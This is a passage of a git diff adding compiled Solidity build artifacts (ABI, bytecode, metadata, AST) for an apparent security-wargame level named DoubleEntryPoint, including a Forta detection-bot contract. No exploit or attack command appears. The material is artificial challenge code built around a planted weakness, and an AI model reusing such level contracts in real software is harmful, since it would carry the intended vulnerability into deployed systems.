8:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51829,"name":"address","nodeType":"ElementaryTypeName","src":"3721:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"3693:47:71"},"returnParameters":{"id":51839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51838,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51849,"src":"3835:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51837,"name":"bool","nodeType":"ElementaryTypeName","src":"3835:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"3834:6:71"},"scope":51850,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"arguments":[{"hexValue":"446f75626c65456e747279506f696e74546f6b656e","id":51722,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2587:23:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_acd02697b9842d4d6df3ca155d849bd2482081e76cdcc10837c68f4b739e609c","typeString":"literal_string \"DoubleEntryPointToken\""},"value":"DoubleEntryPointToken"},{"hexValue":"444554","id":51723,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2612:5:71","typeDescriptions":{"typeIdentifier":"t_stringliteral_0e7ffae0b7eacea784bd2a5973596e3df0c9a32c97db9ebf789b252819ae06c4","typeString":"literal_string \"DET\""},"value":"DET"}],"baseName":{"id":51721,"name":"ERC20","nameLocations":["2581:5:71"],"nodeType":"IdentifierPath","referencedDeclaration":47861,"src":"2581:5:71"},"id":51724,"nodeType":"InheritanceSpecifier","src":"2581:37:71"},{"baseName":{"id":51725,"name":"DelegateERC20","nameLocations":["2620:13:71"],"nodeType":"IdentifierPath","referencedDeclaration":51463,"src":"2620:13:71"},"id":51726,"nodeType":"InheritanceSpecifier","src":"2620:13:71"},{"baseName":{"id":51727,"name":"Ownable","nameLocations":["2635:7:71"],"nodeType":"IdentifierPath","referencedDeclaration":46700,"src":"2635:7:71"},"id":51728,"nodeType":"InheritanceSpecifier","src":"2635:7:71"}],"canonicalName":"DoubleEntryPoint","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51850,46700,51463,47861,47964,47939,48281],"name":"DoubleEntryPoint","nameLocation":"2561:16:71","scope":51851,"usedErrors":[],"usedEvents":[46601,47873,47882]}],"license":"MIT"},"id":71} \ No newline at end of file diff --git a/contracts/out/DoubleEntryPoint.sol/Forta.json b/contracts/out/DoubleEntryPoint.sol/Forta.json new file mode 100644 index 000000000..0ba07abe0 --- /dev/null +++ b/contracts/out/DoubleEntryPoint.sol/Forta.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"botRaisedAlerts","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"notify","inputs":[{"name":"user","type":"address","internalType":"address"},{"name":"msgData","type":"bytes","internalType":"bytes"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"raiseAlert","inputs":[{"name":"user","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setDetectionBot","inputs":[{"name":"detectionBotAddress","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"usersDetectionBots","inputs":[{"name":"","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract IDetectionBot"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506103b78061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e927c681161004d5780639e927c68146100c2578063dc702fa014610116578063fa1fd28c14610143575f80fd5b8063087a43c1146100685780639e1083ca1461007d575b5f80fd5b61007b610076366004610269565b610156565b005b6100a561008b366004610269565b5f602081905290815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007b6100d0366004610269565b335f90815260208190526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b610135610124366004610269565b60016020525f908152604090205481565b6040519081526020016100b9565b61007b610151366004610289565b6101a2565b6001600160a01b038181165f908152602081905260409020541633146101795750565b335f908152600160208190526040822080549192909161019a908490610305565b909155505050565b6001600160a01b038381165f90815260208190526040902054166101c557505050565b6001600160a01b038084165f90815260208190526040908190205490517f220ab6aa00000000000000000000000000000000000000000000000000000000815291169063220ab6aa9061022090869086908690600401610343565b5f604051808303815f87803b158015610237575f80fd5b505af1925050508015610248575060015b50505050565b80356001600160a01b0381168114610264575f80fd5b919050565b5f60208284031215610279575f80fd5b6102828261024e565b9392505050565b5f805f6040848603121561029b575f80fd5b6102a48461024e565b9250602084013567ffffffffffffffff808211156102c0575f80fd5b818601915086601f8301126102d3575f80fd5b8135818111156102e1575f80fd5b8760208285010111156102f2575f80fd5b6020830194508093505050509250925092565b8082018082111561033d577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b92915050565b6001600160a01b038416815260406020820152816040820152818360608301375f818301606090810191909152601f909201601f191601019291505056fea2646970667358221220eb48eff7002bb43b8acbcdc21f1a5d3fa231d40319163eb712092d93b34c34e364736f6c63430008180033","sourceMap":"616:752:71:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610064575f3560e01c80639e927c681161004d5780639e927c68146100c2578063dc702fa014610116578063fa1fd28c14610143575f80fd5b8063087a43c1146100685780639e1083ca1461007d575b5f80fd5b61007b610076366004610269565b610156565b005b6100a561008b366004610269565b5f602081905290815260409020546001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b61007b6100d0366004610269565b335f90815260208190526040902080547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b610135610124366004610269565b60016020525f908152604090205481565b6040519081526020016100b9565b61007b610151366004610289565b6101a2565b6001600160a01b038181165f908152602081905260409020541633146101795750565b335f908152600160208190526040822080549192909161019a908490610305565b909155505050565b6001600160a01b038381165f90815260208190526040902054166101c557505050565b6001600160a01b038084165f90815260208190526040908190205490517f220ab6aa00000000000000000000000000000000000000000000000000000000815291169063220ab6aa9061022090869086908690600401610343565b5f604051808303815f87803b158015610237575f80fd5b505af1925050508015610248575060015b50505050565b80356001600160a01b0381168114610264575f80fd5b919050565b5f60208284031215610279575f80fd5b6102828261024e565b9392505050565b5f805f6040848603121561029b575f80fd5b6102a48461024e565b9250602084013567ffffffffffffffff808211156102c0575f80fd5b818601915086601f8301126102d3575f80fd5b8135818111156102e1575f80fd5b8760208285010111156102f2575f80fd5b6020830194508093505050509250925092565b8082018082111561033d577f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b92915050565b6001600160a01b038416815260406020820152816040820152818360608301375f818301606090810191909152601f909201601f191601019291505056fea2646970667358221220eb48eff7002bb43b8acbcdc21f1a5d3fa231d40319163eb712092d93b34c34e364736f6c63430008180033","sourceMap":"616:752:71:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1196:170;;;;;;:::i;:::-;;:::i;:::-;;647:59;;;;;;:::i;:::-;;;;;;;;;;;;;-1:-1:-1;;;;;647:59:71;;;;;;-1:-1:-1;;;;;593:55:155;;;575:74;;563:2;548:18;647:59:71;;;;;;;;769:156;;;;;;:::i;:::-;870:10;851:18;:30;;;;;;;;;;:67;;;;-1:-1:-1;;;;;851:67:71;;;;;;;;;;769:156;712:50;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;806:25:155;;;794:2;779:18;712:50:71;660:177:155;931:259:71;;;;;;:::i;:::-;;:::i;1196:170::-;-1:-1:-1;;;;;1270:24:71;;;:18;:24;;;;;;;;;;;;1299:10;1262:47;1258:60;;1196:170;:::o;1258:60::-;1343:10;1327:27;;;;1358:1;1327:27;;;;;;;:32;;1358:1;;1327:27;;:32;;1358:1;;1327:32;:::i;:::-;;;;-1:-1:-1;;;1196:170:71:o;931:259::-;-1:-1:-1;;;;;1025:24:71;;;1062:1;1025:24;;;;;;;;;;;;1013:60;;931:259;;;:::o;1013:60::-;-1:-1:-1;;;;;1086:24:71;;;:18;:24;;;;;;;;;;;;;:57;;;;;:24;;;:42;;:57;;1105:4;;1135:7;;;;1086:57;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1082:102;931:259;;;:::o;14:196:155:-;82:20;;-1:-1:-1;;;;;131:54:155;;121:65;;111:93;;200:1;197;190:12;111:93;14:196;;;:::o;215:186::-;274:6;327:2;315:9;306:7;302:23;298:32;295:52;;;343:1;340;333:12;295:52;366:29;385:9;366:29;:::i;:::-;356:39;215:186;-1:-1:-1;;;215:186:155:o;842:665::-;921:6;929;937;990:2;978:9;969:7;965:23;961:32;958:52;;;1006:1;1003;996:12;958:52;1029:29;1048:9;1029:29;:::i;:::-;1019:39;;1109:2;1098:9;1094:18;1081:32;1132:18;1173:2;1165:6;1162:14;1159:34;;;1189:1;1186;1179:12;1159:34;1227:6;1216:9;1212:22;1202:32;;1272:7;1265:4;1261:2;1257:13;1253:27;1243:55;;1294:1;1291;1284:12;1243:55;1334:2;1321:16;1360:2;1352:6;1349:14;1346:34;;;1376:1;1373;1366:12;1346:34;1421:7;1416:2;1407:6;1403:2;1399:15;1395:24;1392:37;1389:57;;;1442:1;1439;1432:12;1389:57;1473:2;1469;1465:11;1455:21;;1495:6;1485:16;;;;;842:665;;;;;:::o;1512:279::-;1577:9;;;1598:10;;;1595:190;;;1641:77;1638:1;1631:88;1742:4;1739:1;1732:15;1770:4;1767:1;1760:15;1595:190;1512:279;;;;:::o;1796:508::-;-1:-1:-1;;;;;1985:6:155;1981:55;1970:9;1963:74;2073:2;2068;2057:9;2053:18;2046:30;2112:6;2107:2;2096:9;2092:18;2085:34;2169:6;2161;2156:2;2145:9;2141:18;2128:48;2225:1;2196:22;;;2220:2;2192:31;;;2185:42;;;;2288:2;2267:15;;;-1:-1:-1;;2263:29:155;2248:45;2244:54;;1796:508;-1:-1:-1;;1796:508:155:o","linkReferences":{}},"methodIdentifiers":{"botRaisedAlerts(address)":"dc702fa0","notify(address,bytes)":"fa1fd28c","raiseAlert(address)":"087a43c1","setDetectionBot(address)":"9e927c68","usersDetectionBots(address)":"9e1083ca"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"botRaisedAlerts\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"msgData\",\"type\":\"bytes\"}],\"name\":\"notify\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"user\",\"type\":\"address\"}],\"name\":\"raiseAlert\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"detectionBotAddress\",\"type\":\"address\"}],\"name\":\"setDetectionBot\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"usersDetectionBots\",\"outputs\":[{\"internalType\":\"contract IDetectionBot\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DoubleEntryPoint.sol\":\"Forta\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/DoubleEntryPoint.sol\":{\"keccak256\":\"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6\",\"dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"botRaisedAlerts","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"bytes","name":"msgData","type":"bytes"}],"stateMutability":"nonpayable","type":"function","name":"notify"},{"inputs":[{"internalType":"address","name":"user","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"raiseAlert"},{"inputs":[{"internalType":"address","name":"detectionBotAddress","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"setDetectionBot"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"usersDetectionBots","outputs":[{"internalType":"contract IDetectionBot","name":"","type":"address"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DoubleEntryPoint.sol":"Forta"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/DoubleEntryPoint.sol":{"keccak256":"0x933c270332ea5acadf78d2c2511a7eab75ec06d3f5754de47a0bb8db4f0c0e31","urls":["bzz-raw://393808bd2e10e7b481bf406037591e53f1ca84fd447569ae815f342d707340e6","dweb:/ipfs/QmW9hVkSegCGiNwUmDw7kC1XVth8YWheZRJLoFdXvrpcih"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DoubleEntryPoint.sol","id":51851,"exportedSymbols":{"Context":[48281],"CryptoVault":[51645],"DelegateERC20":[51463],"DoubleEntryPoint":[51850],"ERC20":[47861],"Forta":[51577],"IDetectionBot":[51471],"IERC20":[47939],"IERC20Metadata":[47964],"IForta":[51489],"LegacyToken":[51720],"Ownable":[46700]},"nodeType":"SourceUnit","src":"32:3886:71","nodes":[{"id":51449,"nodeType":"PragmaDirective","src":"32:23:71","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":51450,"nodeType":"ImportDirective","src":"57:54:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","file":"openzeppelin-contracts-08/access/Ownable.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":46701,"symbolAliases":[],"unitAlias":""},{"id":51451,"nodeType":"ImportDirective","src":"112:57:71","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":51851,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":51463,"nodeType":"ContractDefinition","src":"171:129:71","nodes":[{"id":51462,"nodeType":"FunctionDefinition","src":"201:97:71","nodes":[],"functionSelector":"9cd1a121","implemented":false,"kind":"function","modifiers":[],"name":"delegateTransfer","nameLocation":"210:16:71","parameters":{"id":51458,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51453,"mutability":"mutable","name":"to","nameLocation":"235:2:71","nodeType":"VariableDeclaration","scope":51462,"src":"227:10:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51452,"name":"address","nodeType":"ElementaryTypeName","src":"227:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51455,"mutability":"mutable","name":"value","nameLocation":"247:5:71","nodeType":"VariableDeclaration","scope":51462,"src":"239:13:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":51454,"name":"uint256","nodeType":"ElementaryTypeName","src":"239:7:71","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":51457,"mutability":"mutable","name":"origSender","nameLocation":"262:10:71","nodeType":"VariableDeclaration","scope":51462,"src":"254:18:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51456,"name":"address","nodeType":"ElementaryTypeName","src":"254:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"226:47:71"},"returnParameters":{"id":51461,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51460,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51462,"src":"292:4:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":51459,"name":"bool","nodeType":"ElementaryTypeName","src":"292:4:71","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"291:6:71"},"scope":51463,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"DelegateERC20","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51463],"name":"DelegateERC20","nameLocation":"181:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51471,"nodeType":"ContractDefinition","src":"302:106:71","nodes":[{"id":51470,"nodeType":"FunctionDefinition","src":"332:74:71","nodes":[],"functionSelector":"220ab6aa","implemented":false,"kind":"function","modifiers":[],"name":"handleTransaction","nameLocation":"341:17:71","parameters":{"id":51468,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51465,"mutability":"mutable","name":"user","nameLocation":"367:4:71","nodeType":"VariableDeclaration","scope":51470,"src":"359:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51464,"name":"address","nodeType":"ElementaryTypeName","src":"359:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51467,"mutability":"mutable","name":"msgData","nameLocation":"388:7:71","nodeType":"VariableDeclaration","scope":51470,"src":"373:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51466,"name":"bytes","nodeType":"ElementaryTypeName","src":"373:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"358:38:71"},"returnParameters":{"id":51469,"nodeType":"ParameterList","parameters":[],"src":"405:0:71"},"scope":51471,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IDetectionBot","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51471],"name":"IDetectionBot","nameLocation":"312:13:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51489,"nodeType":"ContractDefinition","src":"410:204:71","nodes":[{"id":51476,"nodeType":"FunctionDefinition","src":"433:63:71","nodes":[],"functionSelector":"9e927c68","implemented":false,"kind":"function","modifiers":[],"name":"setDetectionBot","nameLocation":"442:15:71","parameters":{"id":51474,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51473,"mutability":"mutable","name":"detectionBotAddress","nameLocation":"466:19:71","nodeType":"VariableDeclaration","scope":51476,"src":"458:27:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51472,"name":"address","nodeType":"ElementaryTypeName","src":"458:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"457:29:71"},"returnParameters":{"id":51475,"nodeType":"ParameterList","parameters":[],"src":"495:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51483,"nodeType":"FunctionDefinition","src":"501:63:71","nodes":[],"functionSelector":"fa1fd28c","implemented":false,"kind":"function","modifiers":[],"name":"notify","nameLocation":"510:6:71","parameters":{"id":51481,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51478,"mutability":"mutable","name":"user","nameLocation":"525:4:71","nodeType":"VariableDeclaration","scope":51483,"src":"517:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51477,"name":"address","nodeType":"ElementaryTypeName","src":"517:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":51480,"mutability":"mutable","name":"msgData","nameLocation":"546:7:71","nodeType":"VariableDeclaration","scope":51483,"src":"531:22:71","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":51479,"name":"bytes","nodeType":"ElementaryTypeName","src":"531:5:71","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"516:38:71"},"returnParameters":{"id":51482,"nodeType":"ParameterList","parameters":[],"src":"563:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":51488,"nodeType":"FunctionDefinition","src":"569:43:71","nodes":[],"functionSelector":"087a43c1","implemented":false,"kind":"function","modifiers":[],"name":"raiseAlert","nameLocation":"578:10:71","parameters":{"id":51486,"nodeType":"ParameterList","parameters":[{"constant":false,"id":51485,"mutability":"mutable","name":"user","nameLocation":"597:4:71","nodeType":"VariableDeclaration","scope":51488,"src":"589:12:71","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":51484,"name":"address","nodeType":"ElementaryTypeName","src":"589:7:71","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"588:14:71"},"returnParameters":{"id":51487,"nodeType":"ParameterList","parameters":[],"src":"611:0:71"},"scope":51489,"stateMutability":"nonpayable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"IForta","contractDependencies":[],"contractKind":"interface","fullyImplemented":false,"linearizedBaseContracts":[51489],"name":"IForta","nameLocation":"420:6:71","scope":51851,"usedErrors":[],"usedEvents":[]},{"id":51577,"nodeType":"ContractDefinition","src":"616:752:71","nodes":[{"id":51496,"nodeType":"VariableDeclaration","src":"647:59:71","nodes":[],"constant":false,"functionSelector":"9e1083ca","mutability":"mutable","name":"usersDetectionBots","nameLocation":"688:18:71","scope":51577,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract IDetectionBot)"},"typeName":{"id":51495,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":51492,"name":"address","nodeType":"ElementaryTypeName","src":"655:7:71","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"647:33:71","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_contract$_IDetectionBot_$51471_$","typeString":"mapping(address => contract 